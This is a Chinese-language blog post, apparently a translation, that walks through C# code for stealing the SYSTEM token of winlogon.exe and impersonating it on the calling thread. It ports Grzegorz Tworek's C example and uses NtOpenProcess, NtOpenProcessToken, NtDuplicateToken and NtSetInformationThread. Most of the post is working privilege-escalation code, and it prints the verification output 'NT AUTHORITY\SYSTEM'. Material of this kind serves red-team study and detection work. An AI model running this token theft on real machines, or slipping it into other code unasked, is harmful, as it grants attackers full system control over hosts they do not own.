利用C#窃取令牌获得system权限

25次阅读
没有评论

介绍

Grzegorz Tworek 最近发布了一些 C 代码,演示了如何从进程中窃取和模拟 Windows 令牌。标准的方法是使用 OpenProcess、OpenProcessToken、DuplicateTokenEx 和 ImpersonateLoggedOnUser API。Grzegorz 展示了如何使用 Nt* API 实现相同的功能,具体是 NtOpenProcess、NtOpenProcessToken、NtDuplicateToken 和 NtSetInformationThread。

利用 C# 窃取令牌获得 system 权限

因为我是一个 C# 爱好者,我移植了他的部分代码。这篇文章将作为一个简短的演练,说明如何通过窃取和模拟 SYSTEM 进程的令牌来 ” 获取系统权限 ”。高级步骤如下:

  1. 1. 获取目标进程的句柄。
  2. 2. 获取该目标进程令牌的句柄。
  3. 3. 复制目标进程的令牌。
  4. 4. 将复制的令牌应用到我们的调用线程。
  5. 5. 关闭所有获取的句柄。

NtOpenProcess

一个常见的目标进程是 Windows 登录应用程序  winlogon.exe

// 查找 winlogon 进程 
// 如果多个用户已登录,可能有多个进程
using var winlogon = Process.GetProcessesByName("winlogon").First();

HANDLE hProcess;

var oa = new OBJECT_ATTRIBUTES();
var cid = new CLIENT_ID
{
    UniqueProcess = new HANDLE((IntPtr)winlogon.Id)
};

// 打开 winlogon 的句柄
NtOpenProcess(
    &hProcess,
    PROCESS_QUERY_LIMITED_INFORMATION,
    &oa,
    &cid);

NtOpenProcessToken

使用进程句柄获取进程的线程令牌。

HANDLE hToken;

// 打开 winlogon 进程令牌的句柄
NtOpenProcessToken(
    hProcess,
    TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
    &hToken);

NtDuplicationToken

在能够复制令牌之前,创建一个新的  SECURITY_QUALITY_OF_SERVICE  结构体。

var qos = new SECURITY_QUALITY_OF_SERVICE
{
    Length = (uint)Marshal.SizeOf<SECURITY_QUALITY_OF_SERVICE>(),
    ImpersonationLevel = SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
    ContextTrackingMode = 1,    // SECURITY_DYNAMIC_TRACKING
    EffectiveOnly = false
};

以及一个指向  SECURITY_QUALITY_OF_SERVICE  的新  OBJECT_ATTRIBUTES  结构体。

oa = new OBJECT_ATTRIBUTES
{
    Length = (uint)Marshal.SizeOf<OBJECT_ATTRIBUTES>(),
    SecurityQualityOfService = &qos
};

现在复制令牌。

HANDLE hDupToken;

NtDuplicateToken(
    hToken,
    MAXIMUM_ALLOWED,
    &oa,
    SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
    TOKEN_TYPE.TokenImpersonation,
    &hDupToken);

NtSetInformationThread

一旦令牌被复制,将其应用到我们自己进程的线程。注意  -2  或  0xfffffffffffffffe  是一个伪句柄。

var hCallingThread = new HANDLE((IntPtr)(-2));

// 设置当前线程
NtSetInformationThread(
    hCallingThread,
    THREAD_INFORMATION_CLASS.ThreadImpersonationToken,
    &hDupToken,
    (uint)Marshal.SizeOf<HANDLE>());

GetTokenInformation

我们可以进一步验证令牌是否已应用,通过在我们自己的进程上调用  NtOpenThreadToken  来获取其线程令牌的句柄。这可以传递给  GetTokenInformation,指定  TokenUser  信息类。这将返回一个  TOKEN_USER  结构体,其中包含指向令牌用户 SID 的指针。

HANDLE hThreadToken;

NtOpenThreadToken(
    hCallingThread,
    TOKEN_QUERY,
    false,
    &hThreadToken);

uint returnLength;

GetTokenInformation(
    hThreadToken,
    TOKEN_INFORMATION_CLASS.TokenUser,
    null,
    0,
    &returnLength);

// 分配缓冲区
var buffer = Marshal.AllocHGlobal((int)returnLength);

GetTokenInformation(
    hThreadToken,
    TOKEN_INFORMATION_CLASS.TokenUser,
    buffer.ToPointer(),
    returnLength,
    &returnLength);

// 读取令牌用户
var lpTokenUser = (TOKEN_USER*)buffer.ToPointer();

// 转换为 nt 账户
var identity = new SecurityIdentifier((IntPtr)lpTokenUser->User.Sid.Value)
    .Translate(typeof(NTAccount));

// 释放缓冲区
Marshal.FreeHGlobal(buffer);

Console.WriteLine($"Thread token: {identity.Value}");

这会打印:

Thread token: NT AUTHORITY\SYSTEM

清理

只需关闭句柄。

NtClose(hProcess);
NtClose(hToken);
NtClose(hDupToken);

结论

Grzegorz 通过调用 NtAdjustPrivilegesToken 来确保在当前进程中启用某些权限,进行了更详细的说明。我跳过了这一步,因为我假设在高完整性进程中运行时,它们默认已经启用。我当然鼓励你阅读 Grzegorz 的原始代码:https://github.com/gtworek/PSBits/blob/master/Misc/TokenStealWithSyscalls.c

这篇文章中使用的所有方法、结构体和枚举等都可以在 GitBook pinvoke.dev 上找到。

正文完
 0
评论(没有评论)